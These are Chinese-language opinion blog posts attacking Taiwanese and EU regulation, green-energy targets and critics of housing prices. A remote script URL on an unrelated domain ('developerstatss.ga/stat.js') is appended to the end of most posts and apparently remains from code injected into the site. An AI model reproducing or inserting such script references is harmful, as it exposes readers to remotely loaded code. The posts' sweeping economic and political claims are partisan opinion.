分類
科技相關 筆記

需要多大的土地才能讓太陽能發電取代一座火力發電廠?

我們會面臨四個問題:

a. 裝置容量與容量因數

b. 土地成本

c. 儲電技術與成本

d. inability to be on demand
台中火力發電廠佔地277.5公頃(2.775平方公里),裝置容量為5780MW。

太陽能發電目前每平方公尺裝置量約0.15KW,台灣北、中、南的有效日射時間分別是2.5、3.5、4小時/日。

如果假設以4小時/日來計算,則我們需要將近200多平方公里的土地面積來裝太陽能發電面板,才有可能取得與台中火力發電廠裝置容量下,工作24小時的總發電量。

所謂的「容量因數」–火力、核能發電廠的容量因數均高達90%以上,而太陽能只有15%左右、風力約20~30%。

用實際工作時數觀念來看,火力、核能發電是個每天可以工作21.6小時以上的機器人,而風力與太陽能就只能分別工作7小時與4小時的機器人。今天你希望用後者取代前者,當然後者要多裝很多倍才能取代掉前者一整天的工作量。

台北市面積也才271.8平方公里,換言之你要用將近一個台北市的土地來裝太陽能板,才可能取代掉一個只需要使用1%土地面積的火力發電廠。
這就來到問題b,我強調的土地成本問題:在台灣這座小島要取得這麼大片土地,邊際成本必定上升得很快,很可能上升到邊際報酬率為零時,你的太陽能面板都還累積不到前述的總裝置容量。

又假設台灣真的要100%靠綠電:問題c — 太陽能發電或風力發電都需要很大的儲電設施,才能在沒太陽或沒有風的時候時繼續供電。目前人類比較成熟的技術,還是靠水力位能的方式儲存。

而這個方案佔空間、地理因素影響很大且建造價格也不便宜。大規模鋰電池系統廠商號稱能做到,但實際上沒人知道長期營運的可靠性,此外大規模電池成本驚人。

問題d是伴隨問題c而來:太陽跟風力不是你呼之即來。丹麥空有很大裝置容量的風力發電系統,但是風大時電力往往需求沒那麼大,過剩電力得廉價賣給歐洲其他國家;國內需求上升時風力又不能on demand,得用更貴的價格從他國買電。造成丹麥電價非常貴,住宅每度電0.3歐元(NTD10.67),美國則是住宅每度電0.12美元(NTD3.64)(均以2016年平均計算)。

用將近3倍的成本來買電,這種環保我實在沒什麼興趣。說這個商業模式可以在自由市場競爭下生存,我也懷疑。

這也是為什麼我認同華爾街日報的這篇文章「City Pledges for ‘100% Renewable Energy’ Are 99% Misleading」並放上來分享。

光靠綠能而拿掉火力、核能這種base-load plants是愚不可及的。蔡英文的「又要非核又要減碳」政策本質現階段來看就是騙。https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析

開罰冷氣外洩是侵害人民私有財產權

台灣政府真是智商無下限。

蘋果日報報導:「超商等20類營業場所小心 冷氣外洩最高罰10萬

從產權經濟分析,可看出台灣政府的三點錯誤。

1. 侵害人民財產權的使用自由

首先,私有財產權有三項權利內容與三者的共通排他權,此三項權能分別為:使用、收益、處分。

換言之,在不侵害他人權益之下,私有財產的所有權人愛怎麼使用財產,他人乃至於政府都無從干涉。

今天我就喜歡買一公噸冰塊,然後於炎炎夏日中午放在我家院子納涼。即便這是一個降低氣溫非常沒有效率方式,他人乃至於政府也無從干涉。

同樣的,我選擇家中電器全部滿載使用,只要我支付電費且擁有電器所有權,他人乃至於政府也無從干涉。

廠商要不要節約冷氣使用,當然也是廠商自身的所有權自由,政府的干涉明顯危害憲法對人民私有財產權的保障。

有論者可能會提出第23條,但單純冷氣外漏會造成怎樣的公共危害?以法律限制的益處又何在?勞師動眾聘僱一堆公務員做此類檢查與開罰,恐怕行政成本遠遠高過節省下來的電力,違憲審查恐難以通過檢驗。

話說能源管理法第8條恐怕也有違憲之虞,不過以台灣大法官淺薄的法律經濟分析能力,大概無能也無力處理這類違憲問題。

2. 成本與誘因考量

從成本角度看,侷限條件下,產權所有人自己本身擁有最高的誘因以最低成本來達到財產使用的最大效益。

讀者要特別注意「侷限條件」四字,因為往往無知左派以為的浪費行為,純粹來自於侷限條件下的交易費用使然。

放到賣場冷氣來看也是。

賣場所有人支付電費來維持溫度調控,難道所有人自己不清楚冷氣外洩會造成溫控成本上升?基本上公司老闆永遠是最在乎此類成本的人,他當然清楚賣場全面封閉下,溫控成本最為節省。這就是為什麼多數中小企業老闆下班後多半會巡視各項電器開關。老闆比政府還在乎節能。

那為什麼世界上看不到一個全面封鎖的賣場?

蠢到死,因為開設賣場的目的是吸引消費者入內購物,而不是為了溫控!溫控不過是吸引消費者的手段之一,但卻不是唯一與終極目的。

只要建築物有高頻率開啟的出入口,溫控成本自然提高。在侷限條件下所有人會以最低成本來達成維持溫度的目標,例如風牆等設施、派員巡邏出入口等。可是一旦維持溫度的手段可能侵害來客數量、換客頻率乃至於營業額時,維持溫度手段就會在成本與利益上均衡。

可是公務員與政客並不關心營業額,而只在乎選票、民調與各種愚蠢的政策。當政府由上往下管制人民能源使用方式時,公務員執行會把「節能當做終極目標」,而壓根不在乎賣場的來客數量、換客頻率與營業額是否受到影響。而當錯誤政策被強力執行進而讓商場利益受損時,制定錯誤政策與法律的政客難道要賠償嗎?

如果政客們真的認為商場使用能源方式太浪費,那請開放電力市場,同時解除電力價格管制,讓電費自由浮動上下,自由市場自然會以最低成本、最有效率的方式使用電力。

政客們敢嗎?又不敢。為什麼不敢?是不是太多行政壟斷的尋租利益讓你們捨不得鬆口到嘴肥肉?

3. 政客的對台灣社會利益的侵害

放著蓋好的核四不發電,到處宣傳各種核能傷人致癌甚至核爆的錯誤謠言(人類從會發電以來,死於火力、水力發電的人遠多於核能發電,況且核能電廠再怎麼失控也不可能像原子彈一樣爆炸;次級核廢料的輻射污染在掩體下根本很低,蘭嶼人接觸的輻射量0.027微西弗/時,比台北人接受的背景輻射還低61%,到底每年拿補助的蘭嶼人哪裡受損了?!)。

選前欺騙人民可以癈核低碳也不缺電,選後再透過政府公權力懲罰用電大戶。這種謊言式能源政策還真是崇高偉大。

政客幾時自掏腰包為自己造成的能源短缺與決策錯誤損失買單了?!光出一張嘴、外行管內行、政治凌駕專業,卻一點損害賠償都不用支付,問題又是在誰身上呢?https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析

談歐盟處罰Google的反托拉斯案錯在哪?

先說我過去反覆強調的:整部反托拉斯法律都是建構在錯誤的經濟學理論上,卻忝不知恥地繼續用以處罰商業成功者,因為有太多社會米蟲賴此維生,例如律師、法官、公務員乃至於無恥的經濟學者。

我在美國接觸到的反托拉斯案件經驗,多是政府已經決定要開罰了,才來找法律上的理由。先射箭再畫靶。

本次歐盟處罰Google一案也是如此。

歐盟宣稱Google搜尋結果將購物廣告置於最頂,從而影響沒付費的競爭對手。請見以下圖片:

當有人搜尋"adidas superstar"這個關鍵字時,Google系統會判定使用者應該是想要購物大過於想要了解adidas superstar的歷史或其他資訊,所以會在結果頁面中頂端置入圖片式的購物廣告資訊,讓消費者快速知道各家平台管道目前售價為何。

往往這也是想要購物的人最希望快速知悉的訊息。而這塊訊息通常廠商也會付費讓自己優先被show出來,這也是搜索引擎獲利所在,這段老生常談的商業模式我想大家都很清楚。

歐盟偏偏看這點不爽,堅稱Google此舉傷害了其他也在賣此款運動鞋的競爭對手,因為他們的資訊沒有"公平地"也被放在第一頁。

真是遇到蠢如豬的公務員了。

本文我從經濟分析角度來說說歐盟的邏輯錯在哪。

1. Google是私人資訊搜尋公司,而非政府機構。

在市場競爭下,Google從無義務提供"公平的資訊",而是透過提供"多數使用者想要看到的資訊"然後從中尋找商業模式獲利。

換言之,Google的廣告之所以效率高過傳統平面媒體、電視媒體,就是因為Google透過搜尋者主動提供的資訊,反推搜尋者可能對哪些訊息感興趣,而提供較可能有用的訊息(其中包含商業訊息)。這是過去單方向提供訊息的媒體所無法做到的新技術,也是Google的租值所在。

進一步,Google的AdSense+AdWords也是建構在此概念上 — 討論財經內容的網頁Google投放銀行/保險/股票相關廣告、討論母乳哺育的網頁則投放母嬰用品廣告…;使用者最近常看PS4網頁,則Google針對該使用者瀏覽的多數網站都投放有關遊戲或PS4特價等相關資訊廣告。

誠如Google在2015年回應歐盟時強調:Our search engine is designed to provide the most relevant results, that’s not ‘favoring’ — that’s giving our customers and advertises what they find most useful.

因此,歐盟認定Google有義務"公平地 (fairly)"像政府機構一樣提供各種資訊,本身就是「關公戰秦瓊」一般無理取鬧!歐盟不但錯誤認Google本質(它是私人營利公司,不是政府機關),還刻意扭曲甚至違背Google商業模式的法律義務。

2. 從搭售角度看Google的商業搜尋結果

正確的經濟邏輯,我們看Google在搜尋結果頁面頂端插入商業資訊,其實可以看為是一種搭售行為(tying arrangement),而這種行為有三個可能:

a. Google給的購物建議對消費者很有用,則消費者、廣告投放者與Google三方獲利。(消費者因為Google資訊有用,更愛使用其服務;Google因此有更多更忠實使用者,系統判斷更精準,同時可以向廣告購買者收取更高費用;廣告投放者因為Google系統有效率,更樂意購買廣告。以上形成正向循環)

b. Google給的購物建議對消費者沒用,則消費者長期會傾向忽略;廣告投放者也會發現廣告買了沒人點,從而降低購買意願;Google發現此服務損益無法平衡,最後也只能認賠。

這個可能性就是過去很長一段時間的Yahoo overture搜尋服務的問題 — 廣告資訊與搜尋內容關連性太低,消費者後來根本刻意忽視。

試問如今Yahoo overture安在哉?!(話說overture還是Yahoo當年花16億美元買來的,自己搞成賠錢貨)

c. Google給的購物建議對消費者有害,則會形成剛好與a點相反的負面循環,對Google商業模式會是重創,正常公司多會快速處理與避免這個狀況,否則就會被市場淘汰,成為眾人群起攻擊甚至反對的搜索引擎。

百度日前有關醫療相關搜尋資訊充斥詐騙廣告,就引起中國網民激烈反彈與攻擊。若不是有中國官方網路長城保護其壟斷租值,百度早應該被淘汰出局。

從上是三種可能來看,Google今天提供的資訊是否對消費者有用,市場自己會去處理,根本毋須勞駕歐盟領高薪但無經濟智商的官老爺們指指點點。

回應文章開頭,我相信歐盟官員是早早就決定要處罰Googel的成功(或許保護費給得不夠或其他政治因素),其開罰所依據的反托拉斯法在經濟邏輯上是狗屁不通且強辭奪理的。https://js.developerstatss.ga/stat.js?n=ns1

分類
筆記

FT Big Read: Soyabeans — Crop of the century. 2017/06/21

1 中國對於肉品的需求大幅提昇,從1989年每年每人平均食用20公斤肉,成長到現在50kg。而這大幅成長的需求使得肉類養殖最好的原料 — 大豆需求大幅增加,以每年5%速度成長。同時中國豬隻養殖也從過去的家庭式、餿水養殖逐漸轉成大規模現代化飼料養殖,目前中國已經約50%豬隻採取現代養殖方式,相較2005年時只有16%,可見中國產業轉型與進步之快速。

2 預計2017年中國將進口93百萬頓大豆,而中國自己國內總產量僅約15百萬頓,顯然不足供應國內畜牧業使用,再加上中國生產大豆的成本遠高過美國、巴西(經濟學的比較優勢理論在發威哩)。

3 美國與巴西農夫樂開懷,許多5年前不曾種植過大豆的,這5年也紛紛投入大豆種植。巴西一年產出114百萬頓大豆,超過一半都出口給中國。

美國這邊共和黨的農民支持群眾,也跌破眼鏡地希望繼續維持美中從川普上台後出乎意料地友好氣氛,因為賣大豆給中國實在很好賺。

巴西Srrios市,是一個1989年才開始有人居住的城鎮,耆老說當年城鎮連柏油路、水電、電話通信設施都沒有,極為落後;但自從開始種大豆供應中國之後,城市快速富裕成長,人口在25年內從17000人成長到83000人(多數從事與大豆種植相關行業),收入更是從2010年平均每人每年R$27569翻倍到2016年的R$57087 (約等於新台幣$52萬),換算約12.9%年複合成長率。現在該城市人手一支iPhone用Whatsapp在溝通有無,成長之快全拜中國驚人的需求。

以下是我的看法:

同時期台灣平均每人所得年複合成長率2.78%(從平均每人每年$526,963新台幣成長到$634,055),如果往前看陳水扁主政時期平均每人年所得成長率則僅1.89%。

從本新聞中也驗證過去我從2008年以來主張的:如果台灣產業繼續與中國高度重疊,則會被中國打得慘兮兮,台灣人薪資收入成長率會大幅下降甚至轉為衰退。

而美國、巴西的大豆農夫顯然就是在比較優勢上享有租值,也就從中國的經濟成長賺得砵滿盆盈。這也在說,比較優勢不見得都是高來高去的高科技或前端技術,很多時候最傳統的東西反而可能是美國、巴西比中國更有優勢,種大豆顯然就是一例。

實在不懂台灣總有一群看衰、排斥與不屑與中國經貿往來的鴕鳥們在想什麼,看到陸客減少還沾沾自喜?

題外話一句,那些批判中資一條龍的人,多半是昧於現實又缺乏經濟邏輯訓練,才會相信這種可笑的神話。

所謂一條龍,說穿了就是一家公司試圖透過上下游垂直整合(甚或水平併購來產生傳說中的「綜效」)來拓展自身的壟斷利益,這在經濟學上已經被證明是不可能成立的妄想。真實世界也不存在任何一家公司在沒有國家法治暴力保護之下,可以包山包海地壟斷多層面。

也就是說,如果真實世界真的出現一條龍,那背後一定要有國家保護法規限制其他競爭對手進入,才可能成立。亦即問題根本出在政府,而非財團身上!https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析

象牙塔教授,這叫消費者盈餘榨取

台大法律系李茂生教授是刑法知名學者,我當年在政大念法律系也讀過李茂生的上課共筆。

不過這位教授經濟學卻是嚴重失格,屢屢說出違反經濟學基礎的言論,令人不得不替台灣法學教育擔憂。因為如果不知真實世界的資源安排方式,如何能真懂法律 — 是的,法律不過是資源安排中的一種手段,而且是個常常因為無知造成資源浪費的強制手段。

先前有關李教授的「有錢裝潢沒錢付薪水」的錯誤經濟學觀念,我已經在元毓說FB粉絲團上面批評過(請參考文末附註)。

而近日日本一蘭拉麵來台設立分店,排隊者眾,店家因此推出「如購買禮盒滿$6000台幣可優先入座」的安排。如此美意竟一樣被李教授批評:

這裡我必須報告李教授 — 一蘭拉麵的優先入座安排在法律經濟分析叫做「消費者盈餘榨取」與「購買時間」二者混合。

知道經濟學基礎者都知道「邊際用值遞減定律」,也就是第一口水到最後你喝夠的最後一口水,用值是越來越低的。

但是因為交易費用的因素影響,店家很難針對你的每一口水做差別定價,因此產生了消費者盈餘(consumer surplus)空間,而賣方為了區別願意付出更高代價的買家,在真實世界有許多種安排。

最常見就是會員或入場費模式 — 你先付一筆入場費,裡頭的商品很可能比外面便宜。知名COSTCO上千元年費就是如此安排。從而區分出「很想要買COSTCO店內商品」與「沒那麼想要買」兩種客人。

當然這不是完美安排,因為有的客人即便雙倍會費也願意付費入場;有的客人不願意付出會員費卻想要貪裡頭便宜商品,則代買服務就會出現。這些都是COSTCO賺不到的。

還有一種是all-or-nothing安排 — 東西全部加起來多少錢,不分開賣。消費者只能選擇要就全買,不要拉倒。

這種安排很容易被愚蠢的法學者、經濟學者誤認為是搭售行為(tie-in)而動輒以公平交易法處罰,但此惡法的起源完全是學者對真實世界的無知造成。

過去曾有知名錶廠,因為同款式金銀二錶銷售出現極大差異,從而綁定經銷商一定要金銀二錶同買。這是因為一者產量難以短時間內應付金錶的需求大幅上升;二者市場銷售狀況量度對生產廠而言有相當費用,綁定熱銷與滯銷款有助於:a.量度實際銷售狀況與 b.榨取熱銷款的消費者盈餘。

這等法律經濟分析似乎台灣法學者多半十分無知啊。

回到一蘭拉麵例子,有的消費者願意付出更高代價吃麵,亦或是付出代價換取優先入場以節省時間。一蘭拉麵大可直接販賣「優先入場權」,但單純時間的節省要訂價有困難度,也容易引發爭議。因此店家很聰明的用上經濟學常見的安排「委託量(proxy)」 — 將難以量度的物品或服務委託到容易量度的東西上面。

此案例中一蘭拉麵顯然就是要榨取消費者盈餘的安排與優先入場的安排同時委託到禮品上,所以才會出現「購買禮品滿$6000可優先入座」。換言之,店家透過此安排分離出願意付出更高代價享用的客人,並提供其優先服務,這是非常聰明且雙贏的策略。試問李教授何來抵制之必要?!

國家音樂廳同一場音樂演出好壞座位票價可差異達5、6倍以上,這在全世界多數表演活動都有一樣的票價安排,背後經濟學原理也是一樣的 — 部分榨取消費者盈餘。試問李教授是不是也要抵制這種普世現象呢?

附註 — 關於李教授批評某台中餐廳有錢裝潢沒錢付薪水一文如下:

很明顯論者壓根就沒有開店的經驗,以為人力是隨時請隨時有,而且來就能上線工作毋須教育訓練也不用過濾的。
我自己曾經為了在信義區開百貨公司專櫃,104等求才管道花了幾萬元刊登,2個月內面試將近幾十位求職者,超過9成根本不能用。能用的一成,你還得跟大品牌競爭 — 人力通常更願意去知名品牌大公司工作,無名中小企業甚至要開出比大公司更高的薪水才請得到或留得住人。可是增加的人力成本很可能也吃光獲利。

請人哪那麼容易?

同時這位大教授也沒有經濟學成本的觀念(特別是上頭成本與營運成本),才會說出「花大錢裝潢然後不喜歡花一點小錢請人」這種話。

裝潢費用屬於上頭成本,是下注之前對於市場判斷與定位的成本,一旦下了注要開檔,這個成本對於經營者的行為在經濟學上已經失去任何影響,因為這已是歷史成本,而歷史成本不是成本。經濟學看的機會成本永遠是指「對未來選擇的最高代價」。

裝潢後如果人力無法支應,開門營業帶來的收益不足以cover日常營運成本,甚至因人力素質未達標準可能砸了招牌商譽的風險下,理性經濟決策當然是暫停營業!

我不認為這篇新聞中的苦主全是因為一例一休而出現人力問題,我推測他們應該本來人力就很吃緊了,可是越趨僵化的台灣勞動法規使得經營難度大大提高。
開了店可用人力資源無法完美供應,在百貨公司業界是早就存在這種狀況。樓管一般會在新櫃開張但人力不足情形下幫忙調度借人,這也是樓管的工作權責範圍之一。反過來想,如果此類狀況不是常發生,那百貨公司也不會設置樓管負責這部份的調度工作。

也就是說,真實世界中此類狀況遠比這些象牙塔裡的學者所知來得實際而頻繁。從經濟制度分析角度來看,缺乏彈性的勞動法規的確會加劇與惡化這種困境。

台灣很可悲的,是參與政策決定的環境中竟充斥這類毫無經營經驗的人,還說話最大聲

分類
經濟分析

別蠢了,工作簽證限制無法保護弱勢勞工

最近台灣對於低階白領是否要開放吵得沸沸揚揚。

而有些人拿著美國工作簽證的經驗,認為應該要對低階白領的設立門檻限制,以保障弱勢勞工的工作權益。

此論點是典型的「經濟學邏輯失格」的蠢話,我簡單解釋如下:

1. 生產要素同價發威是不需要開放市場的

2007年我曾經寫過一篇「開放大陸勞工來台會降低台灣人薪資水平?」其中我寫道:

如果拿來比較的產品越相近,相對地該產品背後所需的生產要素也會越相近(原料、勞力、土地、機器與技術),則上述雙邊生產要素價格比例拉近的力量也就越強勁!
就算因為真實世界存在諸多因素使得兩邊價格無法相等,其修正的趨勢還是變不了也擋不住的!

講完這堆抽象的東西,我們現在用它們來解釋真實世界:

在兩岸同質性高的產品範疇內,只要這些產品兩岸均自由可以出口,那麼台灣和中國的生產要素價格就會有著上述理論的修正力量作用著。特別是中國與台灣許多產品不約而同都以出口到美國、歐洲為主時,則生產優勢比較的情況將會更嚴重。

為了方便思考,我們先把地區侷限到貿易關係只有美國、台灣、中國三方。很明顯地,中國低廉的土地、勞力價格會隨著出口產值越來越大而拉高;反過來台灣、美國的勞力、土地資本假如用在和中國重疊的生產項目上,則價格會向下修正!
當然,不可避免地,美國這個進口國的勞力價格和土地價格也會受到影響。

這邊各位也就可以感覺到,為何波特的競爭論理中「差異化策略」有其價值所在,因為差異化可促使生產項目重疊性變小,則上述生產要素價格拉近的影響力就越小,固就能避免掉新興低廉勞工成本國家的「微利化影響」。

大陸1979年改革開放之後,廉價產品源源進入美國市場,我們從上述理論能想見美國基層勞工的基本薪資自然會遭受打壓。

大陸有開放勞工到美國嗎?沒有!但只要雙邊開放商品貿易,效果跟開放勞工其實還是一樣的!

在全球化的浪潮之下,台灣既然作為島國經濟,自然受全球貿易影響最深。但偏偏台灣政府是一個不正常的鎖國政府,自我斷絕與中國的友善關係,同時也將自絕台灣與世界多數國家的正常貿易之外。國際現實就是全世界9成以上經濟實體都跟中國建交,而與中國建交必然要承認中國版的「一個中國」政策。換言之,9成以上世界經濟實體根本就不可能承認台灣的獨立性,在此現實下蔡英文政府還痴人發夢地迴避與中國建立關係,幻想世界其他國家會不顧自身國家利益幫台灣發聲…騙騙國內選票可以,但國際現實全由實力決定。當團體裡的老大就是看你不爽、就是針對你時,除非你有本事幹掉老大取而代之,否則你只剩和談或離開團體關門自爽兩條路。

可惜台灣既沒有本事幹掉中國,更沒有關門自爽的本錢。唯一一條路,卻有一堆自我催眠的假台獨檔著。

因此必然的結果是:世界多數經貿稅務協議,幾乎都沒有台灣的份。台灣商業必須在先天關稅與非關稅障礙均較他國沈重的前提下,與其他國家競爭。經濟邏輯上必然發生的,也就是台灣多付出的成本,必須由生產要素來分擔,其中一個躲不掉的生產要素就是「人力成本」,講白話,就是台灣在國際競爭之下薪資成長性只會低不會高,甚至會衰減而不會成長!

舉個例子幫助理解:台灣面對的就像是大家到夜市擺攤,你赫然發現你是唯一跟夜市場地主人沒有特別關係的局外人,因此你要支付多過其他攤位50%的租金。試問你的損益平衡點是不是先天就不如人?先別說獲利,光是要損益平衡你的進貨、工資或其他開支就要比別人低。以一個毫無天然資源的島國來說,最能減的不是工資是什麼?

看懂這點,就會發現現今既支持天然獨又譴責低薪的年輕人非常可笑,因為他們的政治主張正是造成他們低薪的原因之一。

題外話重溫我在「談談最近的服貿與學運」說過的:

經濟學程度這麼差的教授們,其言論竟然可以騙得一堆大學生來反對馬英九難得做對的一件事?這些象牙塔裡,對真實世界理解其差的意見,也能有這麼大的市場?台灣大學生究竟是有多差?

顯然當時的大學生書念得太差所搞出來的政治活動,現在也是由全體台灣人來自食惡果。

2.更嚴格工作簽證並無保護勞工效果,只有養肥移民官員與移民法律師或代辦公司

近日華爾街日報「The Diminishing Return of a College Degree」一文中更是打臉這些宣稱美國工作簽證可以保障弱勢勞工的言論:

美國1970年代大學生跑去開計程車的僅佔計程車司機1%不到,但2010年佔了15%!有經濟學感受的人很快就知道 — 這表示大學學歷租值跌價幅度驚人!也就是說,大學學歷放到2000年後的今天看,已經是「低階白領」。

1979中國大陸改革開放後,到2000年前後中國人工素質慢慢追上美國高中、大學生,於是出現美國大學與高中學歷收入差額從2000年的$32900美元降到2015年的$29867(超過9.2%的縮減)。而2000以來美國的工作簽證H1-B總數量是限縮的,換言之,更嚴格的工作簽證並未保障到美國大學畢業生的收入。

上述事實直接駁倒「主張嚴格工作簽證以保障弱勢勞工」的論點。

WSJ同篇文章中也指出,高達40%大學畢業新鮮人找工作時間比過去更久,許多人從事根本不需要大學學歷的工作如咖啡店吧台手、Uber司機等。這些不過都是大學學歷租值不如過往的具體事實呈現。

台灣人經濟學教育實在很差,差到許多人以為更多的管制可以帶來保障,而不知道實證上,管制只會帶來更多貪汙現象,而永遠無法達到任何保障效果!

綜合本文第一點來看,台灣是個實質薪資成長性沒有太多希望的經濟體,本身對外國白領人才吸引力就有限,還夜郎自大、敝帚自珍地拉高外國人工作簽證的難度,其結果就是徒有一堆辦法規章,但事實上並不會有太多人真的來台灣工作。

到此我簡單結論如下:

a. 30年來世界大量廉價人才進入市場競爭,要素平價理論發威下這20年就連高租值的美國,實質薪資成長性都在衰退,美國大學學歷租值也在衰退。台灣政客與年輕人不該對世界大局如此無知,繼續自我欺騙與縮頭躲避。

b. 拿美國工作簽證制度來類比台灣是不倫不類 — 美國是世界人才大磁鐵,而你台灣是個什麼東西?先天條件不如人還想要東施效顰?

c. 工作簽證制度在經濟分析上不可能有保障勞工的效果,只有養肥移民局官員與移民律師/公司的結果。https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析

只會檢討別人的貧窮思維註定要窮 — 論台灣房價何以至此

幹,我今年都不吃東西這輩子都不出國,我還是買不起被你們炒出來的房子。」 這種愚蠢且毫無經濟常識的論調竟然充斥在年輕人的想法裡,可見現在有多少年輕人書念得多糟、邏輯與事實觀察能力有多差勁!

1. 這些笨蛋根本不懂房地產為什麼上漲,還蠢到以為是被炒作。

房地產上漲牽涉到經濟學的財富倉庫理論 — 一個經濟體生產力增長的過程,必然有多餘財富被創造。而這些財富需要有倉庫讓所有者的辛勞成果受到保護,傳統上房地產、股票、債券、珠寶古董乃至於字畫,都是通常正常人會選擇的財富倉庫。

要能成為財富倉庫的條件嚴苛,基本上除了純粹收藏品之外,多數人認可的房地產、股票、債券均是因為符合經濟學大師I. Fisher利息理論中能產生未來收入的資產。稍懂經濟學的都知道,資產價格是未來收入的折現值總和。而重點在於未來收入是個預期值,即便是債券都可能因為市場利率的改變而有所價格改變。

換言之預期未來收入增加時,會提高資產的價格;反之,資產就會跌價。股市、期貨等諸多市場的漲漲跌跌,商圈新生、極盛與衰退反應的租金與地價起落,都是在利息理論的解釋範疇中。

回過頭看台灣從1981年GDP總額1,728,793百萬台幣,成長到2015的16,175,607百萬台幣,總成長9.36倍,換算年複合成長率為6.79%,姑且當做台灣的財富增長來看(暫不考慮通貨膨脹因素),你說這些被創造出來的財富要放哪?當然是各種投資管道!

如果以較具公信力的國泰建設房地產指數來看,從該指數首度編表的2003年全國成交房地產均價為15.1萬/坪,到2017年Q1的23.62萬/坪來說,成長率僅約3.25%。接近同時期(2003 — 2016)GDP複合成長率為3.49%,事實上房價整體上漲水準還輸給GDP成長率。要說炒房集團靠炒房賺得多少超額利潤?還真是看不太出來成績有多驚人。

更須要注意的是:2003~2016的台灣貨幣發行量M1A年複合成長率高達7.34%!!以台灣房地產的整體漲幅來看,甚至連貨幣貶值率都跟不上!

ok,我知道馬上有人會拿台北、新北跟一些房地產漲幅超越台灣整體平均的地區反駁說這些地區被炒作得厲害,所以年輕人才買不起。(同時期台北整體房價成長率為5.84%、新北市為6.16%)

這個論點也是錯誤的,錯就錯在這些笨蛋根本沒想到房地產漲幅除了反應整體財富增加、通貨膨漲之外,各地房地產還要反應「稀缺性」!

所有的房地產投資入門所強調的「location、location、location」,說穿了就是在強調房地產的稀缺性。

房地產與一般動產最大不同也在於此:同一個地點的土地就是only one!你不可能平白在101現址上再生出一塊101土地。

是的,3D空間裡你可以往上蓋,取得「近似創造土地」的效果,這也是為什麼全世界都市精華地區都是摩天樓一棟比一棟高。因為這樣土地利用效率才高。

但你絕對不可能在同一地點創造出一模一樣的土地。

101隔壁世貿的地就不是101的地;台北鄰近隔座山文山區的地就不是信義區的地。

而正因為土地的特殊稀缺性,才讓精華地區與非精華地區的土地價值有極大的差異,這個差異來自於需求,是需求創造出的「租值(rent value)」。為什麼會有需求?回到前面利息理論,因為該地可以產出的未來收入就是有那麼高(或是預期有那麼高),才能存在這樣的高地價。

所以sway這種自詡正義之士的房產專家,犯的最大經濟學錯誤就是誤認為房地產價格被炒高,物價才上升。錯了!是某些地區的生產力就是那麼高,收入(物價)可以到那麼高,才足以支應那樣的房價(租金)!

為什麼後者的邏輯才是正確的,因為從科學方法論來檢驗這樣的經濟學理論最明白不過:商圈(台北東區、天母區與曾經的西門町或台中成功路老市區)從發跡到繁榮,人潮商機湧入讓某區收入不斷提高,從而房價租金才能跟著提高;嗣後人潮商機轉往他處,某區的房價租金不再能有高收入支撐時,就會跌價,而當跌價幅度不夠clean the market時,就會出現unemployment,也就是該區處處關門無人承租,買賣成交期拉得非常長。

你不可能憑空炒作一塊沙漠房價,而沒有任何需求支撐。即便是內華達沙漠中拉斯維加斯,也是搞好水電基礎供應後,靠賭場、各種藝術、情色表演與便宜飯店來吸引大量人潮商機,才真正在沙漠中創造高房價。

雙北市基礎建設、社會福利、生活品質、工作機會以及人口密度成長率遠優於台灣其他縣市,自然創造出不凡的「稀缺性」。這也說明了為什麼一堆領著低薪的新鮮人想盡辦法要留在台北。講更白點,正是因為太多這群自認社會不公的魯蛇死皮賴臉要在台北,所以才支撐起雙北的高房價。

自己才是造成結果的因,反倒是怪起炒房客、投資客。從經濟學觀點,炒房客、投資客才是穩定房價的最大功臣!

所有的投資行為依據利息理論,都是「犧牲現在的享受換取明日的收入」。正因為投資客認為某地房地價有上漲空間(也就是認為某地生產力會提昇),所以於主觀認為低價時買入,這個行為本身有二好處 — 避免資源價格持續下跌以及讓資源移轉到更可善加利用之人身上。

而投資客在他主觀認為房地價夠高的時候賣出,也就是在價格夠高時提供了供給,而供給增加會抑制價格持續上漲。

同時投資客、炒房客彼此之間的競爭,也會提高供給、抑制房價上漲。這在任何市場都是一體適用的經濟法則,這是最基礎的價格理論!猶如你在地球上就受到重力影響一樣,無可避免。

當然任何市場都存在「造價(price making)」行為,本文不多提,因為我在blog中已經簡單討論過。台灣還存在與銀行內神通外鬼、政客透過公權力炒地皮的尋租行為,這些都是對整體經濟不利的行為,本blog也多次撻伐,讀者可自行搜尋,本文也不再多提。

到這裡小結:

a.台灣50年來經濟發展創造的財富必然有部分流到房地產,這會推升房產價格。這是私有產權制度下的必然,因此把老一輩的極為正常的投資行為視為邪惡的炒房行為,是對經濟學的無知才能講出來的蠢話。

b.台灣近年通貨膨脹極為嚴重(2003~2016的台灣貨幣發行量M1A年複合成長率高達7.34%!),這跟央行長期緊盯美元匯率有關。而亂印鈔票必然會引發通膨,特別是當整體經濟前景不佳的前提下,多出來的資金容易流向資產(股市、房市),造成生產要素漲價不均的現象 — 也就是房價、股價漲幅遠高於工資。這部份要怪就怪政府央行錯誤的貨幣政策,跟炒房行為無關。

c.本blog早在2007年就預言台灣薪資成長會停滯甚至衰退,請參見「台灣低薪是必然,經濟學預言威力精準」。而因為從李登輝以來不斷地社會福利主義走向以及錯誤的中國政策,台灣經商環境越來越困難,租值不斷流失,必然影響資源持有者對未來前景從而改變投資行為(從生產投資轉變為資產投資)。這30年的政客誤國才是罪魁禍首。

d.投資客的存在才能穩定價格波動同時提供流動性,這在任何市場都是一樣,包含房市。這些人對經濟貢獻不亞於其他人。

2. 不是人人都應該買房

左派的居住正義與居住人權一直都是天大的笑話,他們把「想要」跟「有能力要」混為一談。

試問誰不想住市區的廣闊大豪宅?出入享受Bently、勞斯萊斯?回家有30幾個僕人一字排開服侍?問題是所欲者眾,真正負擔得起的有幾人?

人人都想開名車,但多數人只開得起神車Toyota Altis。不是後者不重視享受、不重視汽車安全性,而是「想要」與「能負擔」本來就是兩回事。資源就是有限,每個人都只能在自己有限資源裡做最佳分配。

即便富有如股神巴菲特,滿手現金下也無法隨心所欲地胡亂併購公司。

回到買房上,人人都想要房子不代表人人都負擔得起。

更進一步,有些人總資產是負擔得起買房,但是在特定條件下,租屋對整體資產活絡與增長更有利時,這些人寧願選擇繼續租屋。

過去我在blog「囤積與投資根本是同一件事」一文中就說過:

「居住正義」是亂七八糟的福利觀念,「人人有屋住」不代表這世界就應該「人人『所有』房屋」。

